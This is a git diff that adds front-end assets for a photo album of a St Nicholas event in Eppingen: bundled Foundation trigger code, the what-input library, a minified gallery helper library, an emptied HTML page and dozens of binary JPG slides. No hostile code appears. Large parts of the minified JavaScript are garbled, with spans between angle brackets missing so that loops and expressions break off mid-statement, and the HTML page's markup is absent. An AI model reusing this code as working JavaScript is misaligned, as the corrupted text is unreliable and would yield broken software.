(typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n\n\nvar MutationObserver = function () {\n var prefixes = ['WebKit', 'Moz', 'O', 'Ms', ''];\n\n for (var i = 0; i < prefixes.length; i++) {\n if (\"\".concat(prefixes[i], \"MutationObserver\") in window) {\n return window[\"\".concat(prefixes[i], \"MutationObserver\")];\n }\n }\n\n return false;\n}();\n\nvar triggers = function triggers(el, type) {\n el.data(type).split(' ').forEach(function (id) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id))[type === 'close' ? 'trigger' : 'triggerHandler'](\"\".concat(type, \".zf.trigger\"), [el]);\n });\n};\n\nvar Triggers = {\n Listeners: {\n Basic: {},\n Global: {}\n },\n Initializers: {}\n};\nTriggers.Listeners.Basic = {\n openListener: function openListener() {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'open');\n },\n closeListener: function closeListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('close');\n\n if (id) {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'close');\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('close.zf.trigger');\n }\n },\n toggleListener: function toggleListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle');\n\n if (id) {\n triggers(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), 'toggle');\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('toggle.zf.trigger');\n }\n },\n closeableListener: function closeableListener(e) {\n e.stopPropagation();\n var animation = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('closable');\n\n if (animation !== '') {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_2__[\"Motion\"].animateOut(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), animation, function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).trigger('closed.zf');\n });\n } else {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).fadeOut().trigger('closed.zf');\n }\n },\n toggleFocusListener: function toggleFocusListener() {\n var id = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('toggle-focus');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"#\".concat(id)).triggerHandler('toggle.zf.trigger', [jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)]);\n }\n}; // Elements with [data-open] will reveal a plugin that supports it when clicked.\n\nTriggers.Initializers.addOpenListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.openListener);\n $elem.on('click.zf.trigger', '[data-open]', Triggers.Listeners.Basic.openListener);\n}; // Elements with [data-close] will close a plugin that supports it when clicked.\n// If used without a value on [data-close], the event will bubble, allowing it to close a parent component.\n\n\nTriggers.Initializers.addCloseListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.closeListener);\n $elem.on('click.zf.trigger', '[data-close]', Triggers.Listeners.Basic.closeListener);\n}; // Elements with [data-toggle] will toggle a plugin that supports it when clicked.\n\n\nTriggers.Initializers.addToggleListener = function ($elem) {\n $elem.off('click.zf.trigger', Triggers.Listeners.Basic.toggleListener);\n $elem.on('click.zf.trigger', '[data-toggle]', Triggers.Listeners.Basic.toggleListener);\n}; // Elements with [data-closable] will respond to close.zf.trigger events.\n\n\nTriggers.Initializers.addCloseableListener = function ($elem) {\n $elem.off('close.zf.trigger', Triggers.Listeners.Basic.closeableListener);\n $elem.on('close.zf.trigger', '[data-closeable], [data-closable]', Triggers.Listeners.Basic.closeableListener);\n}; // Elements with [data-toggle-focus] will respond to coming in and out of focus\n\n\nTriggers.Initializers.addToggleFocusListener = function ($elem) {\n $elem.off('focus.zf.trigger blur.zf.trigger', Triggers.Listeners.Basic.toggleFocusListener);\n $elem.on('focus.zf.trigger blur.zf.trigger', '[data-toggle-focus]', Triggers.Listeners.Basic.toggleFocusListener);\n}; // More Global/complex listeners and triggers\n\n\nTriggers.Listeners.Global = {\n resizeListener: function resizeListener($nodes) {\n if (!MutationObserver) {\n //fallback for IE 9\n $nodes.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('resizeme.zf.trigger');\n });\n } //trigger all listening elements and signal a resize event\n\n\n $nodes.attr('data-events', \"resize\");\n },\n scrollListener: function scrollListener($nodes) {\n if (!MutationObserver) {\n //fallback for IE 9\n $nodes.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).triggerHandler('scrollme.zf.trigger');\n });\n } //trigger all listening elements and signal a scroll event\n\n\n $nodes.attr('data-events', \"scroll\");\n },\n closeMeListener: function closeMeListener(e, pluginId) {\n var plugin = e.namespace.split('.')[0];\n var plugins = jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"[data-\".concat(plugin, \"]\")).not(\"[data-yeti-box=\\\"\".concat(pluginId, \"\\\"]\"));\n plugins.each(function () {\n var _this = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n\n _this.triggerHandler('close.zf.trigger', [_this]);\n });\n } // Global, parses whole document.\n\n};\n\nTriggers.Initializers.addClosemeListener = function (pluginName) {\n var yetiBoxes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-yeti-box]'),\n plugNames = ['dropdown', 'tooltip', 'reveal'];\n\n if (pluginName) {\n if (typeof pluginName === 'string') {\n plugNames.push(pluginName);\n } else if (_typeof(pluginName) === 'object' && typeof pluginName[0] === 'string') {\n plugNames.concat(pluginName);\n } else {\n console.error('Plugin names must be strings');\n }\n }\n\n if (yetiBoxes.length) {\n var listeners = plugNames.map(function (name) {\n return \"closeme.zf.\".concat(name);\n }).join(' ');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(listeners).on(listeners, Triggers.Listeners.Global.closeMeListener);\n }\n};\n\nfunction debounceGlobalListener(debounce, trigger, listener) {\n var timer,\n args = Array.prototype.slice.call(arguments, 3);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(trigger).on(trigger, function (e) {\n if (timer) {\n clearTimeout(timer);\n }\n\n timer = setTimeout(function () {\n listener.apply(null, args);\n }, debounce || 10); //default time to emit scroll event\n });\n}\n\nTriggers.Initializers.addResizeListener = function (debounce) {\n var $nodes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-resize]');\n\n if ($nodes.length) {\n debounceGlobalListener(debounce, 'resize.zf.trigger', Triggers.Listeners.Global.resizeListener, $nodes);\n }\n};\n\nTriggers.Initializers.addScrollListener = function (debounce) {\n var $nodes = jquery__WEBPACK_IMPORTED_MODULE_0___default()('[data-scroll]');\n\n if ($nodes.length) {\n debounceGlobalListener(debounce, 'scroll.zf.trigger', Triggers.Listeners.Global.scrollListener, $nodes);\n }\n};\n\nTriggers.Initializers.addMutationEventsListener = function ($elem) {\n if (!MutationObserver) {\n return false;\n }\n\n var $nodes = $elem.find('[data-resize], [data-scroll], [data-mutate]'); //element callback\n\n var listeningElementsMutation = function listeningElementsMutation(mutationRecordsList) {\n var $target = jquery__WEBPACK_IMPORTED_MODULE_0___default()(mutationRecordsList[0].target); //trigger the event handler for the element depending on type\n\n switch (mutationRecordsList[0].type) {\n case \"attributes\":\n if ($target.attr(\"data-events\") === \"scroll\" && mutationRecordsList[0].attributeName === \"data-events\") {\n $target.triggerHandler('scrollme.zf.trigger', [$target, window.pageYOffset]);\n }\n\n if ($target.attr(\"data-events\") === \"resize\" && mutationRecordsList[0].attributeName === \"data-events\") {\n $target.triggerHandler('resizeme.zf.trigger', [$target]);\n }\n\n if (mutationRecordsList[0].attributeName === \"style\") {\n $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n }\n\n break;\n\n case \"childList\":\n $target.closest(\"[data-mutate]\").attr(\"data-events\", \"mutate\");\n $target.closest(\"[data-mutate]\").triggerHandler('mutateme.zf.trigger', [$target.closest(\"[data-mutate]\")]);\n break;\n\n default:\n return false;\n //nothing\n }\n };\n\n if ($nodes.length) {\n //for each element that needs to listen for resizing, scrolling, or mutation add a single observer\n for (var i = 0; i <= $nodes.length - 1; i++) {\n var elementObserver = new MutationObserver(listeningElementsMutation);\n elementObserver.observe($nodes[i], {\n attributes: true,\n childList: true,\n characterData: false,\n subtree: true,\n attributeFilter: [\"data-events\", \"style\"]\n });\n }\n }\n};\n\nTriggers.Initializers.addSimpleListeners = function () {\n var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n Triggers.Initializers.addOpenListener($document);\n Triggers.Initializers.addCloseListener($document);\n Triggers.Initializers.addToggleListener($document);\n Triggers.Initializers.addCloseableListener($document);\n Triggers.Initializers.addToggleFocusListener($document);\n};\n\nTriggers.Initializers.addGlobalListeners = function () {\n var $document = jquery__WEBPACK_IMPORTED_MODULE_0___default()(document);\n Triggers.Initializers.addMutationEventsListener($document);\n Triggers.Initializers.addResizeListener();\n Triggers.Initializers.addScrollListener();\n Triggers.Initializers.addClosemeListener();\n};\n\nTriggers.init = function ($, Foundation) {\n Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__[\"onLoad\"])($(window), function () {\n if ($.triggersInitialized !== true) {\n Triggers.Initializers.addSimpleListeners();\n Triggers.Initializers.addGlobalListeners();\n $.triggersInitialized = true;\n }\n });\n\n if (Foundation) {\n Foundation.Triggers = Triggers; // Legacy included to be backwards compatible for now.\n\n Foundation.IHearYou = Triggers.Initializers.addGlobalListeners;\n }\n};\n\n\n\n//# sourceURL=webpack:///./js/foundation.util.triggers.js?")},jquery:function(module,exports){eval("module.exports = __WEBPACK_EXTERNAL_MODULE_jquery__;\n\n//# sourceURL=webpack:///external_%7B%22root%22:%5B%22jQuery%22%5D,%22amd%22:%22jquery%22,%22commonjs%22:%22jquery%22,%22commonjs2%22:%22jquery%22%7D?")}})}); +/** + * what-input - A global utility for tracking the current input method (mouse, keyboard or touch). + * @version v5.2.1 + * @link https://github.com/ten1seven/what-input + * @license MIT + */ +!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("whatInput",[],t):"object"==typeof exports?exports.whatInput=t():e.whatInput=t()}(this,function(){return function(n){var o={};function i(e){if(o[e])return o[e].exports;var t=o[e]={exports:{},id:e,loaded:!1};return n[e].call(t.exports,t,t.exports,i),t.loaded=!0,t.exports}return i.m=n,i.c=o,i.p="",i(0)}([function(e,t){"use strict";e.exports=function(){if("undefined"==typeof document||"undefined"==typeof window)return{ask:function(){return"initial"},element:function(){return null},ignoreKeys:function(){},specificKeys:function(){},registerOnChange:function(){},unRegisterOnChange:function(){}};var t=document.documentElement,n=null,a="initial",u=a,o=Date.now();try{window.sessionStorage.getItem("what-input")&&(a=window.sessionStorage.getItem("what-input")),window.sessionStorage.getItem("what-intent")&&(u=window.sessionStorage.getItem("what-intent"))}catch(e){}var d=["button","input","select","textarea"],i=[],c=[16,17,18,91,93],w=[],p={keydown:"keyboard",keyup:"keyboard",mousedown:"mouse",mousemove:"mouse",MSPointerDown:"pointer",MSPointerMove:"pointer",pointerdown:"pointer",pointermove:"pointer",touchstart:"touch",touchend:"touch"},r=!1,s={x:null,y:null},f={2:"touch",3:"touch",4:"mouse"},l=!1;try{var e=Object.defineProperty({},"passive",{get:function(){l=!0}});window.addEventListener("test",null,e)}catch(e){}var h=function(){var e=!!l&&{passive:!0};window.PointerEvent?(window.addEventListener("pointerdown",m),window.addEventListener("pointermove",y)):window.MSPointerEvent?(window.addEventListener("MSPointerDown",m),window.addEventListener("MSPointerMove",y)):(window.addEventListener("mousedown",m),window.addEventListener("mousemove",y),"ontouchstart"in window&&(window.addEventListener("touchstart",m,e),window.addEventListener("touchend",m))),window.addEventListener(b(),y,e),window.addEventListener("keydown",m),window.addEventListener("keyup",m),window.addEventListener("focusin",g),window.addEventListener("focusout",E)},m=function(e){var t=e.which,n=p[e.type];"pointer"===n&&(n=L(e));var o=!w.length&&-1===c.indexOf(t),i=w.length&&-1!==w.indexOf(t),r="keyboard"===n&&t&&(o||i)||"mouse"===n||"touch"===n;if(x(n)&&(r=!1),r&&a!==n){a=n;try{window.sessionStorage.setItem("what-input",a)}catch(e){}v("input")}if(r&&u!==n){var s=document.activeElement;if(s&&s.nodeName&&-1===d.indexOf(s.nodeName.toLowerCase())||"button"===s.nodeName.toLowerCase()&&!k(s,"form")){u=n;try{window.sessionStorage.setItem("what-intent",u)}catch(e){}v("intent")}}},v=function(e){t.setAttribute("data-what"+e,"input"===e?a:u),S(e)},y=function(e){var t=p[e.type];if("pointer"===t&&(t=L(e)),M(e),!r&&!x(t)&&u!==t){u=t;try{window.sessionStorage.setItem("what-intent",u)}catch(e){}v("intent")}},g=function(e){e.target.nodeName?(n=e.target.nodeName.toLowerCase(),t.setAttribute("data-whatelement",n),e.target.classList&&e.target.classList.length&&t.setAttribute("data-whatclasses",e.target.classList.toString().replace(" ",","))):E()},E=function(){n=null,t.removeAttribute("data-whatelement"),t.removeAttribute("data-whatclasses")},L=function(e){return"number"==typeof e.pointerType?f[e.pointerType]:"pen"===e.pointerType?"touch":e.pointerType},x=function(e){var t=Date.now(),n="mouse"===e&&"touch"===a&&t-o<200;return o=t,n},b=function(){return"onwheel"in document.createElement("div")?"wheel":void 0!==document.onmousewheel?"mousewheel":"DOMMouseScroll"},S=function(e){for(var t=0,n=i.length;t=0&&n[t.charCodeAt(e)];)--e;for(++e;r6&&n.length-r<20?n.substring(0,r):n)+"..."}),String.prototype.hasOwnProperty("startsWith")||(String.prototype.startsWith=function(t){return 0===(this+"").indexOf(t)}),String.prototype.hasOwnProperty("endsWith")||(String.prototype.endsWith=function(t){return(this+"").substring(this.length-t.length)===t}),String.prototype.capitalize=function(){return this.charAt(0).toUpperCase()+this.slice(1)},String.prototype.unCamelCase=function(){return this.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase()},String.prototype.getExt=function(){var t=this+"",e=t.lastIndexOf(".");return e<=0||e>=t.length-1?"":t.substring(e+1)},String.prototype.stripExt=function(){var t=this+"",e=t.lastIndexOf(".");return e<=0||e>t.length-1?t:t.substring(0,e)},String.prototype.hasExt=function(t){var e=this+"",n=e.lastIndexOf(".");return n>=0&&(e=e.substring(n+1).toLowerCase(),(t+",").indexOf(e+",")>=0)},String.prototype.replaceExt=function(t){var e=this+"",n=e.lastIndexOf(".");return n<=0?e:e.substring(0,n+1)+t},String.prototype.fixExtension=function(){return(this+"").replace(/.gif$/gi,".png").replace(/.tif+$/gi,".jpg")},String.prototype.getDir=function(){var t=(this+"").split("#")[0];return t.substring(0,t.lastIndexOf("/")+1)},String.prototype.getFile=function(){var t=(this+"").split("#")[0];return t.substring(t.lastIndexOf("/")+1)},String.prototype.getRelpath=function(t){var e=this+"",n=e.lastIndexOf("#");for(-1===n?n=e.length-1:n--;n>=0&&("/"!==e[n]||0!=t--);n--);return e.substring(n+1)},String.prototype.fixUrl=function(){for(var t,e,n=this+"";(t=n.indexOf("../"))>0;){if(1===t||-1===(e=n.lastIndexOf("/",t-2)))return n.substring(t+3);n=n.substring(0,e)+n.substring(t+2)}return n},String.prototype.fullUrl=function(){var t=this+"";return t.match(/^(http|ftp|file)/)||(t=window.location.href.getDir()+t),t.fixUrl()},String.prototype.cleanupHTML=function(){for(var t=[[/<(b|h)r\/?>/gi,"\n"],[/\&/g,"&"],[/\ /g," "],[/\</g,"<"],[/\>/g,">"],[/\&(m|n)dash;/g,"-"],[/\'/g,"'"],[/\"/g,'"']],e=this+"",n=t.length-1;n>=0;n--)e=e.replace(t[n][0],t[n][1]);return e.replace},String.prototype.stripHTML=function(t){var e=this+"";return t&&(e=e.cleanupHTML()),e.replace(/<\/?[^>]+>/g," ")},String.prototype.stripQuote=function(){return(this+"").replace(/\"/gi,""")},String.prototype.appendSep=function(t,e){return(this.length?this+(e||" · "):"")+t},String.prototype.rgb2hex=function(){var t=this+"";if("#"===t.charAt(0)||"transparent"===t)return t;var e,n=t.match(/\d+/g),r="";if(n){for(var o=0;o0&&n.push.apply(n,t.substring(0,e).split(" ")),t=t.substring(e+1),(e=t.indexOf('"'))<0){n.push(t);break}n.push(t.substring(0,e)),t=t.substring(e+1)}while(t.length);return n},String.prototype.objectify=function(){if(!this||!this.length)return this;var t=this+"";"?"!==t.charAt(0)&&"#"!==t.charAt(0)||(t=t.substring(1));for(var e,n={},r=t.split("&"),o=0,i=r.length;o1&&("img"===e[0]?n.img=e[1]:n[e[0]]=decodeURIComponent(e[1]));return n},String.prototype.testIn=function(t){return"string"!=typeof t&&(t+=""),new RegExp(this,"i").test(t)},String.prototype.testExactMatch=function(t){if(t.constructor!==Array)return this==t+"";for(var e=0,n=t.length;en?n:e},Math.getRange=function(t,e){if(e.constructor!==Array)return t>=e?1:0;if(1===e.length)return t>=e[0]?1:0;if(t=e[n-1]&&t';DIR_PATH=function(){var t=window.location.pathname,e=document.getElementsByTagName("html")[0].getAttribute("data-level")||0;do{t=t.substring(0,t.lastIndexOf("/"))}while(e--);return t+"/"}(),isEmpty=function(t){return null==t||0===Object.getOwnPropertyNames(t).length},paramize=function(t){if("number"==typeof t)return""+t;if("string"==typeof t)return t;if("object"==typeof t){for(var e="",n=Object.getOwnPropertyNames(t),r=n.length,o=0;o=730?(e=translate("yearsAgo"),n=Math.round(t/365)):t>=60?(e=translate("monthsAgo"),n=Math.round(t/30.5)):(e=translate("daysAgo"),n=t),e.replace("{0}",n)},getTimespan=function(t){if(!t)return translate("inThePast24Hours");if(t<2)return translate("inThePast48Hours");var e,n;return t>=730?(e=translate("inThePastNYears"),n=Math.round(t/365)):t>=60?(e=translate("inThePastNMonths"),n=Math.round(t/30.42)):(e=translate("inThePastNDays"),n=t),e.replace("{0}",n)},getFractionValue=function(t){var e=t.match(/^([\d\.]+)\/([\d\.]+)/);return e&&e.length>1&&0!==e[2]?e[1]/e[2]:t},getExposure=function(t){return t=t.includes("/")?getFractionValue(t):parseFloat(t)},getRelativePath=function(t,e){if(typeof e===UNDEF||!e.length||typeof t===UNDEF||!t.length)return"";if(e.endsWith("/")||(e+="/"),"/"===t)return e;if(t.endsWith("/")||(t+="/"),t===e)return"";var n="../../../../../../../../../../../../../../../../../../../../",r=t.split("/");if("/"===e)return n.substring(0,3*r.length);for(var o=e.split("/");r.length&&o.length&&r[0]===o[0];)r.shift(),o.shift();return n.substring(0,3*(r.length-1))+o.join("/")},encodeAsJava=function(t){var e="";for(t=/^(https?:|file:)?\/\//i.test(t)?encodeURI(t):encodeURIComponent(t),i=0;i1?r:t||"index.html")}},setParam=function(t,e,n){if(HISTORY){var r="#"+paramize(e);r!==window.location.hash&&history.pushState(e,void 0===n?"":n,r.length>1?r:t||"index.html")}},removeParam=function(t,e,n){if(HISTORY){var r,o=window.location.hash;o&&(void 0===e?(o="",history.pushState("","",t||"index.html")):("#"===o.charAt(0)&&(o=o.substring(1)),(r=o.objectify()).hasOwnProperty(e)&&(delete r[e],o="#"+paramize(r)),history.pushState(r,void 0===n?"":n,o.length>1?o:t||"index.html")))}},removeSearch=function(t){HISTORY&&history.replaceState(history.state,void 0===t?"":t,window.location.href.replace(window.location.search,""))},readParam=function(){if(HISTORY){if(history.state)return history.state.hasOwnProperty("img")&&(history.state.img=encodeURIComponent(history.state.img)),history.state;var t=window.location.hash;return"#"===t.charAt(0)&&(t=t.substring(1)),t.objectify()}return null},pushAll=function(t,e){if(t instanceof Array)if(e instanceof Array)for(var n=0,r=e.length;n]*\swidth="([\d\.]+)(r?em|px)"/i)||t.match(/<\w+\s[^>]*\sstyle=".*width:\s?([\d\.]+)(r?em|px)"/i),n=t.match(/<\w+\s[^>]*\sheight="([\d\.]+)(r?em|px)"/i)||t.match(/<\w+\s[^>]*\sstyle=".*height:\s?([\d\.]+)(r?em|px)"/i),e?(r[0]=parseFloat(e[1]),"px"!==e[2]&&(r[0]*=16),n?(r[1]=parseFloat(n[1]),"px"!==n[2]&&(r[1]*=16)):r[1]=.75*r[0],r):null):null},currencyToHtml={USD:"US$",EUR:"€",GBP:"GB£",JPY:"¥",HUF:"Ft",CAD:"CAN$",AUD:"AU$",RUB:"₽"},codeToCurrency=function(t){return currencyToHtml.hasOwnProperty(t)?currencyToHtml[t]:t},currencyToHtmlShort={USD:"$",EUR:"€",GBP:"£",JPY:"¥",HUF:"Ft",CAD:"$",AUD:"$",RUB:"₽"},codeToShortCurrency=function(t){return currencyToHtmlShort.hasOwnProperty(t)?currencyToHtmlShort[t]:t},printImage=function(t,e,n){if(t){var r=window.open("about:blank","print","location=no,status=no,titlebar=no");r.document.open(),r.document.write('\n\n\n\n'+(e||"Print")+'\n + + + + + + + + + +
    + + +
    + + + + diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (1).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (1).jpg new file mode 100644 index 00000000..424cea32 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (1).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (10).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (10).jpg new file mode 100644 index 00000000..e23fb0fb Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (10).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (11).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (11).jpg new file mode 100644 index 00000000..e52a4afa Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (11).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (12).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (12).jpg new file mode 100644 index 00000000..33aed93d Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (12).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (13).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (13).jpg new file mode 100644 index 00000000..38a8bf3b Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (13).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (14).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (14).jpg new file mode 100644 index 00000000..b6e579f9 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (14).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (15).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (15).jpg new file mode 100644 index 00000000..a96c6daa Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (15).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (16).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (16).jpg new file mode 100644 index 00000000..7323855b Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (16).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (17).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (17).jpg new file mode 100644 index 00000000..aca1411d Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (17).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (18).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (18).jpg new file mode 100644 index 00000000..e9827782 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (18).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (19).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (19).jpg new file mode 100644 index 00000000..21ef8395 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (19).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (2).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (2).jpg new file mode 100644 index 00000000..84c0e2f8 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (2).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (20).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (20).jpg new file mode 100644 index 00000000..043144af Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (20).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (21).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (21).jpg new file mode 100644 index 00000000..ae8e55a1 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (21).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (22).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (22).jpg new file mode 100644 index 00000000..72cf7237 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (22).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (23).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (23).jpg new file mode 100644 index 00000000..1acbf43f Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (23).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (24).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (24).jpg new file mode 100644 index 00000000..59ade181 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (24).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (25).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (25).jpg new file mode 100644 index 00000000..20148294 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (25).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (26).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (26).jpg new file mode 100644 index 00000000..ec03bd9a Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (26).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (27).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (27).jpg new file mode 100644 index 00000000..4d9ebf8f Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (27).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (28).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (28).jpg new file mode 100644 index 00000000..4694504b Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (28).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (29).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (29).jpg new file mode 100644 index 00000000..3ee6c014 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (29).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (3).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (3).jpg new file mode 100644 index 00000000..45e8b265 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (3).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (30).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (30).jpg new file mode 100644 index 00000000..486cdee1 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (30).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (31).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (31).jpg new file mode 100644 index 00000000..37e5ee15 Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (31).jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage STA/slides/001 (32).jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/Beilage 